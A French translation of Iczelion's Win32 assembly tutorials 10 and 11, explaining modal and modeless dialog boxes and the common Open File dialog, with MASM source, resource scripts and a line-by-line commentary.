Il y a deux principaux types de boîte de dialogue : 'modale' et 'sans modèle'. Une boîte de dialogue sans modèle vous laisse changer son centre d'entrée pour une autre fenêtre. Le meilleur exemple c'est la boîte de dialogue 'RECHERCHER' de WORD. Il y a deux sous-types de boîte de dialogue modale : l'application modale et le système modal. Une boîte de dialogue d'application modale ne vous laisse pas changer son centre d'entrée pour aller vers une autre fenêtre dans la même application. Par contre vous pouvez changer le centre d'entrée de la fenêtre pour aller vers d'AUTRES applications. Le système de la boîte de dialogue modale ne vous permet pas de changer son centre d'entrée pour une autre fenêtre avant que vous ne répondiez d'abord.
On créé une 'boîte de dialogue sans modèle' en appelant la fonction API CreateDialogParam. On créé une boîte de dialogue modale en appelant DialogBoxParam. La seule différence entre une boîte de dialogue d'application modale et un système modal est le style DS_SYSMODAL. Si vous incluez le style DS_SYSMODAL dans un calibre de boîte de dialogue, cette boîte de dialogue sera un système modale.
Vous pouvez communiquer avec n'importe quel 'child window control' dans une boîte de dialogue en employant la fonction SendDlgItemMessage. Sa syntaxe est la suivante :
SendDlgItemMessage proto hwndDlg:DWORD,\
idControl:DWORD,\
uMsg:DWORD,\
wParam:DWORD,\
lParam:DWORD
Cet appel d'API est super utile pour l'action réciproque avec les 'child window control'. Par exemple, si vous voulez récupérer le texte d'un contrôle d'édition, vous pouvez faire ceci :
call SendDlgItemMessage, hDlg, ID_EDITBOX, WM_GETTEXT, 256, ADDR text_buffer
Pour savoir quel message (quelle commande) vous devez utiliser, vous devez consulter votre référence Win32 API.
Windows fournit aussi plusieurs fonctions API de contrôle-spécifiques pour récupérer et transmettre des données rapidement, par exemple, GetDlgItemText, CheckDlgButton etc. Ces fonctions de contrôle-spécifiques sont mis à la disposition du programmeur. Donc il ne doit pas rechercher les significations de wParam et lParam pour chaque message. Normalement, vous devez utiliser les appels d'API de contrôle-spécifiques quand ils sont disponibles puisque ils servent à vous faciliter l'écriture de votre code source. On recours seulement à SendDlgItemMessage si aucun des appels d'API de contrôle-spécifiques n'est disponible.
L'administrateur de boîte de dialogue de Windows envoie quelques messages à une fonction de rappel de service spécialisée, laquelle est appelée 'procédure de boîte de dialogue' et qui a le format suivant :
DlgProc proto hDlg:DWORD ,\
iMsg:DWORD ,\
wParam:DWORD ,\
lParam:DWORD
La 'procédure de boîte de dialogue' est très semblable à une 'procédure de fenêtre' à part le type de valeur de retour qui est TRUE / FAULSE au lieu de LRESULT. L'administrateur de boîte de dialogue interne à Windows EST la vraie procédure de fenêtre pour la boîte de dialogue. Il appelle notre procédure de boîte de dialogue avec les messages qu'il a reçu. Donc la règle générale en vigueur consiste en ce que : si notre procédure de boîte de dialogue traite un message, il DOIT retourner la valeur TRUE (VRAIE) dans eax et s'il ne traite pas le message, il doit retourner FAULSE (FAUX) dans eax. Remarquez qu'une procédure de boîte de dialogue ne transmet pas les messages et elle ne traite pas l'appel de DefWindowProc puisque ce n'est pas une procédure de fenêtre réelle (normale).
Il y a deux utilisations distinctes d'une boîte de dialogue. Vous pouvez l'employer en tant que fenêtre principale de votre application ou l'employer comme un dispositif d'entrée. Nous allons examiner la première approche dans ce tutorial.
""L'utilisation d'une boîte de dialogue comme fenêtre principale" peut être interprétée dans deux sens différents.
  1. Vous pouvez calibrer une boîte de dialogue comme un calibre de classe que vous déclarez avec l'appel de RegisterClassEx. Dans ce cas, la boîte de dialogue se comporte comme une fenêtre "normale" : elle reçoit des messages via une procédure de fenêtre mentionnée par le membre lpfnWndProc de la classe de fenêtre, et non pas par une procédure de boîte de dialogue. L'avantage de cette approche est que vous n'avez pas à créer vous-même de 'child window controls'. Windows les crée pour vous lorsque la boîte de dialogue est créée. Ainsi Windows gère la logique du clavier pour vous. De plus vous pouvez choisir le curseur et l'icône de votre fenêtre dans la structure de classe de fenêtre.

    2. Votre programme crée seulement une boîte de dialogue sans créer aucune fenêtre parente. Cette approche fait une boucle de message inutile puisque les messages sont envoyés directement à la procédure de boîte de dialogue. Vous n'avez même pas besoin d'enregistrer une classe de fenêtre!
Ce Tutorial va être long. Je présenterai la première approche suivie par le deuxième.

Exemples:

dialog.asm

.386
.model flat,stdcall
option casemap:none
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.data
ClassName db "DLGCLASS",0
MenuName db "MyMenu",0
DlgName db "MyDialog",0
AppName db "Our First Dialog Box",0
TestString db "Wow! Je suis dans une boîte d'édition maintenant",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
buffer db 512 dup(?)

.const
IDC_EDIT equ 3000
IDC_BUTTON equ 3001
IDC_EXIT equ 3002
IDM_GETTEXT equ 32000
IDM_CLEAR equ 32001
IDM_EXIT equ 32002

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hDlg:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,DLGWINDOWEXTRA
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_BTNFACE+1
mov wc.lpszMenuName,OFFSET MenuName
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateDialogParam,hInstance,ADDR DlgName,NULL,NULL,NULL
mov hDlg,eax
invoke ShowWindow, hDlg,SW_SHOWNORMAL
invoke UpdateWindow, hDlg
invoke GetDlgItem,hDlg,IDC_EDIT
invoke SetFocus,eax
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke IsDialogMessage, hDlg, ADDR msg
.IF eax ==FALSE
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDIF
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.IF lParam==0
.IF ax==IDM_GETTEXT
invoke GetDlgItemText,hWnd,IDC_EDIT,ADDR buffer,512
invoke MessageBox,NULL,ADDR buffer,ADDR AppName,MB_OK
.ELSEIF ax==IDM_CLEAR
invoke SetDlgItemText,hWnd,IDC_EDIT,NULL
.ELSE
invoke DestroyWindow,hWnd
.ENDIF
.ELSE
mov edx,wParam
shr edx,16
.IF dx==BN_CLICKED
.IF ax==IDC_BUTTON
invoke SetDlgItemText,hWnd,IDC_EDIT,ADDR TestString
.ELSEIF ax==IDC_EXIT
invoke SendMessage,hWnd,WM_COMMAND,IDM_EXIT,0
.ENDIF
.ENDIF
.ENDIF
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start

Dialog.rc

#include "resource.h"

#define IDC_EDIT 3000
#define IDC_BUTTON 3001
#define IDC_EXIT 3002

#define IDM_GETTEXT 32000
#define IDM_CLEAR 32001
#define IDM_EXIT 32003

MyDialog DIALOG 10, 10, 205, 60
STYLE 0x0004 | DS_CENTER | WS_CAPTION | WS_MINIMIZEBOX |
WS_SYSMENU | WS_VISIBLE | WS_OVERLAPPED | DS_MODALFRAME | DS_3DLOOK
CAPTION "Our First Dialog Box"
CLASS "DLGCLASS"
BEGIN
EDITTEXT IDC_EDIT, 15,17,111,13, ES_AUTOHSCROLL | ES_LEFT
DEFPUSHBUTTON "Dis Bonjour", IDC_BUTTON, 141,10,52,13
PUSHBUTTON "E&xit", IDC_EXIT, 141,26,52,13, WS_GROUP
END

MyMenu MENU
BEGIN
POPUP "Test Controls"
BEGIN
MENUITEM "Get Text", IDM_GETTEXT
MENUITEM "Clear Text", IDM_CLEAR
MENUITEM "", , 0x0800 /*MFT_SEPARATOR*/
MENUITEM "E&xit", IDM_EXIT
END
END

Analyse:

On va analyser ce premier exemple.
Cet exemple montre comment créer un calibre de dialogue comme une classe de fenêtre, et créer "une fenêtre" avec cette classe. ça simplifie notre programme puisque on n'a pas besoin de créer de 'child window controls' soi-même.
On va d'abord analyser le calibre de dialogue.

MyDialog DIALOG 10, 10, 205, 60

On déclare le nom d'un dialogue, dans ce cas, "MyDialog" suivi du mot-clé "DIALOG". Les quatre nombres suivants sont : x, y, largeur et hauteur de la boîte de dialogue, ce sont des unités propres aux DialogBox (C'est pas des pixels).

STYLE 0x0004 | DS_CENTER | WS_CAPTION | WS_MINIMIZEBOX |
WS_SYSMENU | WS_VISIBLE | WS_OVERLAPPED | DS_MODALFRAME | DS_3DLOOK

Déclare les styles de la boîte de dialogue.

CAPTION "Our First Dialog Box"

C'est le texte qui apparaîtra dans la barre de titre de la boîte de dialogue.

CLASS "DLGCLASS"

Cette ligne est cruciale. C'est ce mot-clé CLASS qui nous permet d'employer le calibre de boîte de dialogue comme une 'Window Class' (classe de fenêtre). Puis, suivant le mot-clé on trouve le nom de la "Window Class"

BEGIN
EDITTEXT IDC_EDIT, 15,17,111,13, ES_AUTOHSCROLL | ES_LEFT
DEFPUSHBUTTON "Dis Bonjour", IDC_BUTTON, 141,10,52,13
PUSHBUTTON "E&xit", IDC_EXIT, 141,26,52,13
END

Le susdit bloc définit les 'child window controls' de la boîte de dialogue. Ils sont définis entre les mots-clés BEGIN et END. Généralement la syntaxe est la suivante :

    control-type "text" ,controlID, x, y, width, height [,styles]
Les 'types' de contrôle sont propre au compilateur de ressource, donc vous devez consulter le manuel.
Maintenant nous voyons le code de source assembleur. La partie intéressante est dans la structure de la 'Window Class ' :
    mov wc.cbWndExtra,DLGWINDOWEXTRA
    mov wc.lpszClassName,OFFSET ClassName
Normalement, ce membre est le NULL, mais si nous voulons enregistrer un calibre de boîte de dialogue comme une Window Class (classe de fenêtre), nous devons mettre ce membre à la valeur DLGWINDOWEXTRA. Notez que le nom de la classe doit être identique à celui qui est après le mot-clé CLASS pour le calibre de boîte de dialogue. Les membres restants sont initialisés comme d'habitude. Après que vous ayez remplis la structure de classe de fenêtre, déclarez-la avec RegisterClassEx. Ça vous semble familier ? C'est la même routine que pour enregistrer une classe de fenêtre normale.
    invoke CreateDialogParam,hInstance,ADDR DlgName,NULL,NULL,NULL
Après avoir définit notre "Window Class", nous créons notre boîte de dialogue. Dans cet exemple, je la crée comme une boîte de dialogue sans modèle grâce à la fonction CreateDialogParam. Cette fonction prend 5 paramètres, mais en réalité, vous n'avez besoin que des deux premier : l'instance handle et le pointeur qui justement pointe sur 'le nom du calibre de DialogBox'. Notez que le 2ème paramètre n'est pas un pointeur sur le nom de class.
À ce point, la boîte de dialogue et ses 'child window controls' sont créés par Windows. Votre procédure de fenêtre recevra comme d'habitude le message WM_CREATE.
    invoke GetDlgItem,hDlg,IDC_EDIT
    invoke SetFocus,eax
Maintenant que la boîte de dialogue est créée, j'aimerai mettre le centre d'entrée au contrôle d'édition (= on veut que la zone de saisie de texte soit active). Si je met ces codes dans la section WM_CREATE, l'appel GetDlgItem échouera jusqu'à ce que les 'child window controls' ne soient créés. La seule façon pour faire cela est de l'appeler après que la boîte de dialogue et tous ses 'child window controls' soient créés. C'est pour ça que j'ai mis ces deux lignes après l'appel à UpdateWindow. la fonction GetDlgItem obtient le contrôle ID et renvoie le contrôle du 'Window Handle' associé. C'est de cette manière que vous pouvez récupérer un 'Window Handle' lorsque vous connaissez son 'contrôle ID'.

invoke IsDialogMessage, hDlg, ADDR msg
.IF eax ==FALSE
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDIF

Le programme entre dans la boucle de message et avant que nous traduisions et expédiions des messages, nous appelons la fonction IsDialogMessage pour que l'administrateur de boîte de dialogue puisse s'occuper de la logique du clavier à notre place. Si ces retours de fonction sont TRUES(VRAIS), alors ça signifie que le message est destiné à la boîte de dialogue et est traité par l'administrateur de la boîte de dialogue. Remarquez une autre différence par rapport Tutorial précédent. Quand la procédure de fenêtre veut récupérer le texte qui est inscrit dans la zone d'édition, elle appelle la fonction GetDlgItemText au lieu de GetWindowText. GetDlgItemText accepte un contrôle ID au lieu d'un 'Window Handle'. Ceci rend l'appel plus facile dans le cas vous employez une boîte de dialogue.

Maintenant on va voir à la deuxième approche, à savoir : l'utilisation d'une boîte de dialogue comme fenêtre principale. Dans l'exemple suivant, je vais créer une boîte de dialogue d'application modale. Vous ne trouverez pas de boucle de message ou de procédure de fenêtre parce qu'elles ne sont pas nécessaires!
dialog.asm (part 2)

.386
.model flat,stdcall
option casemap:none

DlgProc proto :DWORD,:DWORD,:DWORD,:DWORD

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.data
DlgName db "MyDialog",0
AppName db "Our Second Dialog Box",0
TestString db "Wow! Je suis dans une zone d'édition",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
buffer db 512 dup(?)

.const
IDC_EDIT equ 3000
IDC_BUTTON equ 3001
IDC_EXIT equ 3002
IDM_GETTEXT equ 32000
IDM_CLEAR equ 32001
IDM_EXIT equ 32002

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke DialogBoxParam, hInstance, ADDR DlgName,NULL, addr DlgProc, NULL
invoke ExitProcess,eax

DlgProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_INITDIALOG
invoke GetDlgItem, hWnd,IDC_EDIT
invoke SetFocus,eax
.ELSEIF uMsg==WM_CLOSE
invoke SendMessage,hWnd,WM_COMMAND,IDM_EXIT,0
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.IF lParam==0
.IF ax==IDM_GETTEXT
invoke GetDlgItemText,hWnd,IDC_EDIT,ADDR buffer,512
invoke MessageBox,NULL,ADDR buffer,ADDR AppName,MB_OK
.ELSEIF ax==IDM_CLEAR
invoke SetDlgItemText,hWnd,IDC_EDIT,NULL
.ELSEIF ax==IDM_EXIT
invoke EndDialog, hWnd,NULL
.ENDIF
.ELSE
mov edx,wParam
shr edx,16
.if dx==BN_CLICKED
.IF ax==IDC_BUTTON
invoke SetDlgItemText,hWnd,IDC_EDIT,ADDR TestString
.ELSEIF ax==IDC_EXIT
invoke SendMessage,hWnd,WM_COMMAND,IDM_EXIT,0
.ENDIF
.ENDIF
.ENDIF
.ELSE
mov eax,FALSE
ret
.ENDIF
mov eax,TRUE
ret
DlgProc endp
end start

dialog.rc (partie 2)

#include "resource.h"

#define IDC_EDIT 3000
#define IDC_BUTTON 3001
#define IDC_EXIT 3002

#define IDR_MENU1 3003

#define IDM_GETTEXT 32000
#define IDM_CLEAR 32001
#define IDM_EXIT 32003

MyDialog DIALOG 10, 10, 205, 60
STYLE 0x0004 | DS_CENTER | WS_CAPTION | WS_MINIMIZEBOX |
WS_SYSMENU | WS_VISIBLE | WS_OVERLAPPED | DS_MODALFRAME | DS_3DLOOK
CAPTION "Our Second Dialog Box"
MENU IDR_MENU1
BEGIN
EDITTEXT IDC_EDIT, 15,17,111,13, ES_AUTOHSCROLL | ES_LEFT
DEFPUSHBUTTON "Dis Bonjour", IDC_BUTTON, 141,10,52,13
PUSHBUTTON "E&xit", IDC_EXIT, 141,26,52,13
END

IDR_MENU1 MENU
BEGIN
POPUP "Test Controls"
BEGIN
MENUITEM "Get Text", IDM_GETTEXT
MENUITEM "Clear Text", IDM_CLEAR
MENUITEM "", , 0x0800 /*MFT_SEPARATOR*/
MENUITEM "E&xit", IDM_EXIT
END
END

The analysis follows:

DlgProc proto :DWORD,:DWORD,:DWORD,:DWORD

Nous déclarons le prototype de fonction de DlgProc ,ainsi nous pouvons lui attribuer l'opérateur addr à la ligne ci-dessous :

invoke DialogBoxParam, hInstance, ADDR DlgName,NULL, addr DlgProc, NULL

la susdite ligne appelle la fonction DialogBoxParam qui prend 5 paramètres : l'Instance handle', le 'nom du calibre de boîte de dialogue', l'handle de la fenêtre parente', l'adresse de la procédure de la de boîte de dialogue et des données dialogue-spécifiques. DialogBoxParam crée une boîte de dialogue modale. Rien ne sera retourné tant que la boîte de dialogue ne sera pas détruite.

.IF uMsg==WM_INITDIALOG
invoke GetDlgItem, hWnd,IDC_EDIT
invoke SetFocus,eax
.ELSEIF uMsg==WM_CLOSE
invoke SendMessage,hWnd,WM_COMMAND,IDM_EXIT,0

La procédure de boîte de dialogue ressemble à une procédure de fenêtre sauf qu'elle ne reçoit pas le message WM_CREATE. Le premier message qu'elle reçoit est WM_INITDIALOG. Normalement vous pouvez mettre le code d'initialisation ici. Remarquez que vous devez renvoier la valeur TRUE (VRAIE) dans eax si vous traitez le message.
L'administrateur interne de boîte de dialogue n'envoie pas à notre procédure de boîte de dialogue par défaut le message WM_DESTROY quand WM_CLOSE est envoyé à notre boîte de dialogue. Ainsi si nous voulons réagir quand l'utilisateur presse le bouton proche sur notre boîte de dialogue, nous devons traiter le message WM_CLOSE. Dans notre exemple, nous envoyons le message WM_COMMAND avec la valeur IDM_EXIT dans wParam. Ça a le même effet que lorsque l'utilisateur choisit l'article de menu de Sortie (le sous-menu : EXIT). EndDialog est appelé dans la réponse à IDM_EXIT.
Le traitement du messages WM_COMMAND reste le même.
Quand vous voulez détruire la boîte de dialogue, il faut appeler la fonction EndDialog. N'essayez pas DestroyWindow! EndDialog ne détruit pas la boîte de dialogue immédiatement. Il met seulement un drapeau(Flag) pour l'administrateur de la boîte de dialogue et continue à exécuter les instructions suivantes.
Maintenant on va examiner le fichier de ressources. Un changement notable est qu'au lieu de l'utilisation d'une chaîne de texte pour le nom de menu nous employons une valeur, IDR_MENU1. C'est nécessaire si vous voulez attacher un menu à une boîte de dialogue créée avec DialogBoxParam. Notez que dans le calibre de boîte de dialogue, vous devez ajouter le mot-clé MENU suivi de la ressource du menu ID.
La différence entre les deux exemples de ce Tutorial est le manque d'une icône dans le dernier exemple. Cependant, vous pouvez mettre l'icône en envoyant le message WM_SETICON à la boîte de dialogue pendant WM_INITDIALOG.

[Iczelion's Win32 Assembly Homepage]

Traduit par Morgatte


Iczelion's Win32 Assembly Tutorial 11: More about Dialog Box

Tutorial 11: Encore Plus à Propos
Des Boîtes de Dialogue

Dans ce Tutorial, nous allons en apprendre encore plus sur la boîte de dialogue. Plus spécialement, nous allons voir comment employer les boîtes de dialogue en tant que dispositifs d'entrée-sortie. Si vous avez lu le tutorial précédent, celui-ci ne sera qu'une brise. Il s'agit ici d'une une modification mineure pour pouvoir utiliser les boîtes de dialogue comme des adjonctions à notre fenêtre principale. Aussi dans ce tutorial, nous allons apprendre à utiliser les boîtes de dialogue comme elles sont utilisées normalement.

Downloadez les exemples de DialogBox ici et ici. Downloadez l'exemple de DialogBox couramment utilisée ici.

Théorie:

Vite fait, voici ce qui doit être dit à propos de l'emploi des boîtes de dialogue en tant que dispositifs d'entrée-sortie de notre programme. Comme d'habitude, notre programme crée la fenêtre principale puis quand vous voulez montrer la DialogBox, appelez juste CreateDialogParam ou bien DialogBoxParam. Avec l'appel de DialogBoxParam, vous n'avez rien de plus à faire, traitez seulement les messages dans la procédure de la boîte de dialogue. Avec CreateDialogParam, vous devez insérer un 'Call IsDialogMessage' dans la boucle de message pour permettre à l'administrateur de la boîte de dialogue de gérer la navigation du clavier dans votre boîte de dialogue à votre place. Puisque ces deux cas sont rares, je ne mettrai pas le code source ici. Vous pouvez télécharger les exemples et les examiner vous-même, ici et ici.
Continuons avec les boîtes de dialogue communes (habituellement utilisées). Windows possède des DialogBox prédéterminées pour que vos applications puissent les utiliser. Ces boîtes de dialogue existent pour servir d'interface utilisateur standardisée. Il s'agit des fichiers comme, l'imprimante, la couleur, la fonte et des boîtes de dialogue de recherche. Vous devez les employer autant que possible. Ces boîtes de dialogue prédéfinies résident dans comdlg32.dll. Pour les employer, vous devez vous lier avec comdlg32.lib. Vous créez ces boîtes de dialogue en appelant des fonctions appropriées dans la bibliothèque de DialogBox communes. Pour ouvrir le fichier de dialogue, c'est GetOpenFileName, pour le sauvegarder en tant que dialogue on se sert de GetSaveFileName, pour la boîte de dialogue de l'imprimante c'est PrintDlg et cetera. Chacune de ces fonctions utilise un pointeur comme paramètre dans sa structure. Vous devez les regarder dans la référence Win32 API. Dans ce Tutorial, je on va voir comment créer et employer une DialogBox servant à ouvrir des fichiers.
Voici ci-dessous le prototype de fonction de GetOpenFileName :
GetOpenFileName proto lpofn:DWORD
Vous pouvez voir qu'il ne reçoit qu'un seul paramètre, un pointeur sur la structure OPENFILENAME. La valeur de retour TRUE(VRAI) signifie que l'utilisateur vient de choisi un fichier pour l'ouvrir, sinon la valeur en retour est FALSE(FAUX). Voyons la structurent d'OPENFILENAME maintenant.
OPENFILENAME STRUCT
lStructSize DWORD ?
hwndOwner HWND ?
hInstance HINSTANCE ?
lpstrFilter LPCSTR ?
lpstrCustomFilter LPSTR ?
nMaxCustFilter DWORD ?
nFilterIndex DWORD ?
lpstrFile LPSTR ?
nMaxFile DWORD ?
lpstrFileTitle LPSTR ?
nMaxFileTitle DWORD ?
lpstrInitialDir LPCSTR ?
lpstrTitle LPCSTR ?
Flags DWORD ?
nFileOffset WORD ?
nFileExtension WORD ?
lpstrDefExt LPCSTR ?
lCustData LPARAM ?
lpfnHook DWORD ?
lpTemplateName LPCSTR ?
OPENFILENAME ENDS
On va voir la signification des membres fréquemment employés.
lStructSize | Taille de la structure d'OPENFILENAME, en octets.
hwndOwner | handle de la boîte de dialogue qui sert à ouvrir des fichiers.
hInstance | Instance Handle de l'application qui crée la 'boîte de dialogue qui sert à ouvrir des fichiers'.
lpstrFilter | Sert à filtrer le type de chaînes de caractères à ouvrir. Il faut 2 NULL pour terminer cette instruction. La première chaîne de caractères est la description (donc le texte). La deuxième c'est le type de filtre. Par exemple, dans un répertoire on peut sélectionner tous les dossiers ou bien que les .exe ou bien seulement les .zip……etc: FilterString db "All Files (*.*)",0, "*.*",0 db "Text Files (*.txt)",0,"*.txt",0,0 Remarquez bien que c'est la deuxième chaîne de caractères (pour chaque ligne) qui en réalité sert à Windows à filtrer les fichiers. Donc vous êtes obligés de mettre un 0 supplémentaire à la fin de la chaîne de caractères du filtre pour en indiquer sa fin.
nFilterIndex | Indique quelle [paire de chaîne de caractères de] filtre sera utilisée par défaut dans la DialogBox qui sert à ouvrir les fichiers. Ce sera le 1, pour la première paire "All Files (*.*)", le 2 pour la deuxième paire "Text Files (*.txt)" etc. Ainsi dans notre exemple, si nous spécifions nFilterIndex en tant que 2, le deuxième modèle, "*.txt" sera employé.
lpstrFile | Le pointeur du buffer qui contient le nom de fichier qu'on a l'habitude d'initialiser dans la boîte d'édition de notre DialogBox (ici c'est le pointeur qui pointe sur le texte " ALL FILES ". Le pointeur doit avoir une longueur d'au moins 260 octets. Après que l'utilisateur ait choisit un fichier pour l'ouvrir, le nom de ce fichier ainsi que le chemin (Patch) complète où il est stocké, sont gardés dans ce buffer pstrFile. Vous pourrez en extraire l'information plus tard.
nMaxFile | La taille de buffer lpstrFile.
lpstrTitle | Pointeur du titre de la DialogBox qui sert à ouvrir les fichiers. (donc c'est le titre).
Flags | Détermine le style et les caractéristiques de la boîte de dialogue.
nFileOffset | Après que l'utilisateur ait choisi un fichier pour l'ouvrir, ce membre contient le n° du premier caractère du nom du fichier réel. Par exemple, si le nom complète avec son chemin est "c:\Windows\system\lz32.dll", ce membre contiendra la valeur 18.
nFileExtension | Après que l'utilisateur ait choisi un fichier pour l'ouvrir, ce membre contient le numéro du premier caractère de l'extension du fichier. Ici c'est 23

Exemple:

Le programme suivant montre une boîte de dialogue servant à ouvrir des fichiers. Pour en ouvrir un, l'utilisateur doit choisir le Fichier avec le sous-menu 'OPEN'. Quand l'utilisateur choisit un fichier dans la DialogBox, le programme affiche une MessageBox montrant le nom complet, à savoir le nom du fichier avec l'extension de ce fichier.

.386
.model flat,stdcall
option casemap:none
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib

.const
IDM_OPEN equ 1
IDM_EXIT equ 2
MAXSIZE equ 260
OUTPUTSIZE equ 512

.data
ClassName db "SimpleWinClass",0
AppName db "Our Main Window",0
MenuName db "FirstMenu",0
ofn OPENFILENAME <>
FilterString db "All Files",0,"*.*",0
db "Text Files",0,"*.txt",0,0
buffer db MAXSIZE dup(0)
OurTitle db "-=Our First Open File Dialog Box=-: Choose the file to open",0
FullPathName db "The Full Filename with Path is: ",0
FullName db "The Filename is: ",0
ExtensionName db "The Extension is: ",0
OutputString db OUTPUTSIZE dup(0)
CrLf db 0Dh,0Ah,0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?

.code
start:
invoke GetModuleHandle, NULL
mov hInstance,eax
invoke GetCommandLine
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX
LOCAL msg:MSG
LOCAL hwnd:HWND
mov wc.cbSize,SIZEOF WNDCLASSEX
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,OFFSET MenuName
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc
invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName,ADDR AppName,\
WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,\
CW_USEDEFAULT,300,200,NULL,NULL,\
hInst,NULL
mov hwnd,eax
invoke ShowWindow, hwnd,SW_SHOWNORMAL
invoke UpdateWindow, hwnd
.WHILE TRUE
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_DESTROY
invoke PostQuitMessage,NULL
.ELSEIF uMsg==WM_COMMAND
mov eax,wParam
.if ax==IDM_OPEN
mov ofn.lStructSize,SIZEOF ofn
push hWnd
pop ofn.hwndOwner
push hInstance
pop ofn.hInstance
mov ofn.lpstrFilter, OFFSET FilterString
mov ofn.lpstrFile, OFFSET buffer
mov ofn.nMaxFile,MAXSIZE
mov ofn.Flags, OFN_FILEMUSTEXIST or \
OFN_PATHMUSTEXIST or OFN_LONGNAMES or\
OFN_EXPLORER or OFN_HIDEREADONLY
mov ofn.lpstrTitle, OFFSET OurTitle
invoke GetOpenFileName, ADDR ofn
.if eax==TRUE
invoke lstrcat,offset OutputString,OFFSET FullPathName
invoke lstrcat,offset OutputString,ofn.lpstrFile
invoke lstrcat,offset OutputString,offset CrLf
invoke lstrcat,offset OutputString,offset FullName
mov eax,ofn.lpstrFile
push ebx
xor ebx,ebx
mov bx,ofn.nFileOffset
add eax,ebx
pop ebx
invoke lstrcat,offset OutputString,eax
invoke lstrcat,offset OutputString,offset CrLf
invoke lstrcat,offset OutputString,offset ExtensionName
mov eax,ofn.lpstrFile
push ebx
xor ebx,ebx
mov bx,ofn.nFileExtension
add eax,ebx
pop ebx
invoke lstrcat,offset OutputString,eax
invoke MessageBox,hWnd,OFFSET OutputString,ADDR AppName,MB_OK
invoke RtlZeroMemory,offset OutputString,OUTPUTSIZE
.endif
.else
invoke DestroyWindow, hWnd
.endif
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam
ret
.ENDIF
xor eax,eax
ret
WndProc endp
end start

Analyse:

mov ofn.lStructSize,SIZEOF ofn
push hWnd
pop ofn.hwndOwner
push hInstance
pop ofn.hInstance

Nous remplaçons les membres ordinaires par des structures ofn.

mov ofn.lpstrFilter, OFFSET FilterString

Ce FilterString est le filtre du nom de fichier que nous définissons comme suit :

FilterString db "All Files",0,"*.*",0
db "Text Files",0,"*.txt",0,0
Remarquez que les quatre chaînes de caractères sont terminées par un Zéro. La première chaîne est la description de la chaîne suivante (EX : ''ALL FILES est la description de *.*''). Le modèle réel est la 2e chaîne de caractères, dans notre cas ce sont *. * et *.txt. En réalité nous pouvons prendre n'importe quel modèle d'extension. exemple : *.wavwav . Nous DEVONS mettre un zéro supplémentaire après la dernière chaîne de caractères pour à montrer que c'est la fin de la chaîne du filtre. N'oubliez surtout pas ça, sinon votre DialogBox se comportera étrangement.

mov ofn.lpstrFile, OFFSET buffer
mov ofn.nMaxFile,MAXSIZE

Nous indiquons où la boîte de dialogue mettra le nom du fichier que l'utilisateur vient de choisir. Notez que nous devons spécifier sa taille dans le membre nMaxFile. Plus tard, nous pourrons extraire le nom du fichier contenu dans ce buffer.

